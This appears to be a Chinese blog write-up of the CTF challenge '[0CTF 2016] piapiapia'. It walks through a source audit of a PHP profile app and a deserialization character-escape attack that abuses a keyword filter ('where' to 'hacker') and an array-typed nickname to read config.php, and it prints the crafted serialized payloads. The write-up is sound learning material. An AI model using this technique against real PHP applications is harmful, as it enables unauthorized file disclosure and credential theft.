一开始没思路 到网上搜了一下 才想起来扫目录
这里给自己提醒下 以后没思路就抓包和扫目录
拿到源码:
文章图片
代码审计 是一个难题 对于目前的我 未来要加强这方面的能力
show_profile($username);
if($profile== null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
注意到在profile页面里 有文件读取 file_get_contents函数 所以可以在这里想办法读取flag的文件
去看序列化的链子
文章图片
注意到 update里有序列化的地方,所以可以在这里进行序列化的构造
文章图片
先注册 注册完后登陆进来 然后到这个信息编辑页面 这里就需要用到burpsuite抓包 然后改文件要发过去的信息 来实现我们序列化的构造
文章图片
这时候就抓到了 我们分析代码
class user extends mysql{
private $table = 'users';
public function show_profile($username) {\
// 存在过滤,关键字update被过滤,无法通过更新,修改photo路径
$username = parent::filter($username);
// 存在字符替换,利用此方法可以进行字符逃逸反序列化
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
10)
die('Invalid nickname');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
?>
每次上传的时候 会把序列化后的信息进行过滤 在filter函数中
这里就可以实现字符逃逸了
这里从where到hacker是5变6 存在一个字符逃逸 所以可以利用where来实现
构造序列化代码
a:4:{s:5:“phone”; s:11:“11111111111”; s:5:“email”; s:14:“2222222@xx.com”; s:8:“nickname”; s:7:“swaggyo”; s:5:“photo”; s:10:“config.php”; }
得到该序列化 这时候就开始构造字符逃逸
";
s:5:"photo";
s:10:"config.php";
}
需要逃逸部分为这段字符串 其长度为33 所以需要33个where
文章图片
成功逃逸了
但是在环境里 我反序列化一直在失败 看到网上人这里构造的是
";
}s:5:"photo";
s:10:"config.php";
}
原因是 原函数对nickname长度进行了限制
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
想要绕过 就将其改外nickname[]类型 但改成nickname[] 这里就需要一个}了
文章图片
文章图片
找到被base64的读出的config.php文件 解码
文章图片
补充:数组类型的序列化结果:
【信息安全|[0CTF 2016]piapiapia 1】O:3:“wzk”:2:{s:1:“a”; s:1:“1”; s:4:“cars”; a:3:{i:0; s:7:“porsche”; i:1; s:3:“BMW”; i:2; s:5:“Volvo”; }}
可以看到 数组内内容是被一组{}单独包裹起来的 所以我们在刚刚那里 需要一个}使得数组提前闭合 ,否则会出现错误。
推荐阅读
- Php|php实现表单校验功能
- Write|Win10安装Apache和PHP
- SSH|909422229_SSH暴力破解与防御
- 零信任|技术·原创 |技术息象SDP为企业数据安全保驾护航
- 计算机网络|计算机网络的 166 个核心概念
- 安全|Log4j2危情分析|开源软件安全、软件供应链安全与DevSecOps实践已刻不容缓
- 网络安全|ASCLL编码详解,ASCLL编码对照表
- CTF|【VulnHub】Acid靶场复盘
- sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)